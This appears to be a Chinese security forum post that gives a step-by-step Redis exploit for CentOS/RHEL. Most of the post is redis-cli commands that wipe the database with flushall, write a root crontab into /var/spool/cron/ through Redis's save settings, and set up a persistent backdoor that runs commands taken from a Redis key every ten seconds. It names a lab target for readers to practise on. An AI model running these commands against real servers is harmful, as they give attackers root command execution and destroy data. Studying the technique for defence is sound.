- A+
猪猪侠 (每次有人骂我是猪我都说自己是猪猪侠) | 2015-11-11 13:48
redis的exploit,完全不需要flushall破坏数据场景,redis-cli set 1 'ringzero',这样可以控制第一条记录,就能保证你的内容始终保持在最前面;
测试环境:CentOS,RHEL
# 利用crontab创建文件 /tmp/888
redis-cli flushall # 为了方便测试
redis-cli set test 'test'
redis-cli set my 'mymymymymymymymymymymymy'
redis-cli set word 'wordwordwordwordwordword'
redis-cli set hello 'ringzero'
redis-cli set word1 'word1word1word1word1word1word1'
echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli saveredis-cli flushall
echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
# 二次改写crontab
redis-cli flushall
redis-cli set 2 ';a=`redis-cli get c`;'
redis-cli set 1 'id;redis-cli set r `$a`;#'
redis-cli config set dir /tmp/
redis-cli config set dbfilename w
redis-cli save
redis-cli set c whoami
# 利用第一步的写crontab步骤,完成下面的命令
echo " " > /tmp/zz
cat /tmp/w >> /tmp/zz
/bin/sh /tmp/zz
redis-cli get r
控制 /var/spool/cron/root 和 /tmp/zz
# 最终实现,每10秒从redis的c变量读入要执行的命令,再将执行结果写入变量r
* * * * * sleep 10;/bin/sh /tmp/zz
三个白帽环境如下:
域名:208061131146e3af7.tsjie.sangebaimao.com
服务:redis 端口 6379
openssh 端口 32770
快来玩玩 redis 远程执行命令的利用吧
$("img").load(function(){ if($(this).attr("width")>640) $(this).attr("width",640); });